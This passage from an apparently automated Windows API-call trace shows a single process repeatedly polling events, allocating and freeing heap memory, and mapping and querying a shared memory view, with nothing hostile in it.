WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.572] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.572] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.572] ResetEvent (hEvent=0xe8) returned 1 [0057.572] SetEvent (hEvent=0xec) returned 1 [0057.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.572] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.572] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.572] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.572] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.573] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.573] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.573] ResetEvent (hEvent=0xe8) returned 1 [0057.573] SetEvent (hEvent=0xec) returned 1 [0057.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.573] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.573] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.573] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.573] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.573] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.573] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.573] ResetEvent (hEvent=0xe8) returned 1 [0057.573] SetEvent (hEvent=0xec) returned 1 [0057.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.573] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.573] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.573] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.573] ResetEvent (hEvent=0xe8) returned 1 [0057.573] SetEvent (hEvent=0xec) returned 1 [0057.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.574] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.574] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.574] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.574] ResetEvent (hEvent=0xe8) returned 1 [0057.574] SetEvent (hEvent=0xec) returned 1 [0057.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.574] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.574] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.574] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.574] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.574] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.574] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.574] ResetEvent (hEvent=0xe8) returned 1 [0057.574] SetEvent (hEvent=0xec) returned 1 [0057.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.574] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.574] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.574] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.575] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.575] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.575] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.575] ResetEvent (hEvent=0xe8) returned 1 [0057.575] SetEvent (hEvent=0xec) returned 1 [0057.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.575] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.575] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.575] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.575] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.575] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.575] ResetEvent (hEvent=0xe8) returned 1 [0057.575] SetEvent (hEvent=0xec) returned 1 [0057.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.575] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.575] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.576] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.576] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.576] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.576] ResetEvent (hEvent=0xe8) returned 1 [0057.576] SetEvent (hEvent=0xec) returned 1 [0057.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.576] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.576] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.576] ResetEvent (hEvent=0xe8) returned 1 [0057.576] SetEvent (hEvent=0xec) returned 1 [0057.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.576] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.576] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.576] ResetEvent (hEvent=0xe8) returned 1 [0057.576] SetEvent (hEvent=0xec) returned 1 [0057.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.577] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.577] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.577] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.577] ResetEvent (hEvent=0xe8) returned 1 [0057.577] SetEvent (hEvent=0xec) returned 1 [0057.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.577] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.577] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.577] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.577] ResetEvent (hEvent=0xe8) returned 1 [0057.577] SetEvent (hEvent=0xec) returned 1 [0057.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.577] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.577] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.577] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.577] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.577] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.577] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.578] ResetEvent (hEvent=0xe8) returned 1 [0057.578] SetEvent (hEvent=0xec) returned 1 [0057.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.578] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.578] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.578] ResetEvent (hEvent=0xe8) returned 1 [0057.578] SetEvent (hEvent=0xec) returned 1 [0057.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.578] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.578] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.578] ResetEvent (hEvent=0xe8) returned 1 [0057.578] SetEvent (hEvent=0xec) returned 1 [0057.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.578] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.578] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.578] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.578] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.579] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.579] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.579] ResetEvent (hEvent=0xe8) returned 1 [0057.579] SetEvent (hEvent=0xec) returned 1 [0057.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.579] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.579] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.579] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.579] ResetEvent (hEvent=0xe8) returned 1 [0057.579] SetEvent (hEvent=0xec) returned 1 [0057.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.579] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.579] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.579] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.579] ResetEvent (hEvent=0xe8) returned 1 [0057.579] SetEvent (hEvent=0xec) returned 1 [0057.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.579] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.580] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.580] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.580] ResetEvent (hEvent=0xe8) returned 1 [0057.580] SetEvent (hEvent=0xec) returned 1 [0057.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.580] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.580] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.580] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.580] ResetEvent (hEvent=0xe8) returned 1 [0057.580] SetEvent (hEvent=0xec) returned 1 [0057.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.580] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.580] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.580] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.580] ResetEvent (hEvent=0xe8) returned 1 [0057.580] SetEvent (hEvent=0xec) returned 1 [0057.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.580] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.580] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.580] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.581] ResetEvent (hEvent=0xe8) returned 1 [0057.581] SetEvent (hEvent=0xec) returned 1 [0057.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.581] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.581] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.581] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.581] ResetEvent (hEvent=0xe8) returned 1 [0057.581] SetEvent (hEvent=0xec) returned 1 [0057.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.581] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.581] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.581] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.581] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.581] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.581] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.581] ResetEvent (hEvent=0xe8) returned 1 [0057.581] SetEvent (hEvent=0xec) returned 1 [0057.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.582] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.582] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.582] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.582] ResetEvent (hEvent=0xe8) returned 1 [0057.582] SetEvent (hEvent=0xec) returned 1 [0057.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.582] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.582] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.582] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.582] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.582] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.582] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.582] ResetEvent (hEvent=0xe8) returned 1 [0057.582] SetEvent (hEvent=0xec) returned 1 [0057.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.582] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.582] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.582] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.582] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.582] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.583] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.583] ResetEvent (hEvent=0xe8) returned 1 [0057.583] SetEvent (hEvent=0xec) returned 1 [0057.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.583] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.583] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.583] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.583] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.583] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.583] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.583] ResetEvent (hEvent=0xe8) returned 1 [0057.583] SetEvent (hEvent=0xec) returned 1 [0057.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.583] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.583] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.583] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.583] ResetEvent (hEvent=0xe8) returned 1 [0057.583] SetEvent (hEvent=0xec) returned 1 [0057.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.584] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.584] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.584] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.584] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.584] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.584] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.584] ResetEvent (hEvent=0xe8) returned 1 [0057.584] SetEvent (hEvent=0xec) returned 1 [0057.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.584] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.584] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.584] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.584] ResetEvent (hEvent=0xe8) returned 1 [0057.584] SetEvent (hEvent=0xec) returned 1 [0057.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.584] WaitForMultipleObjects 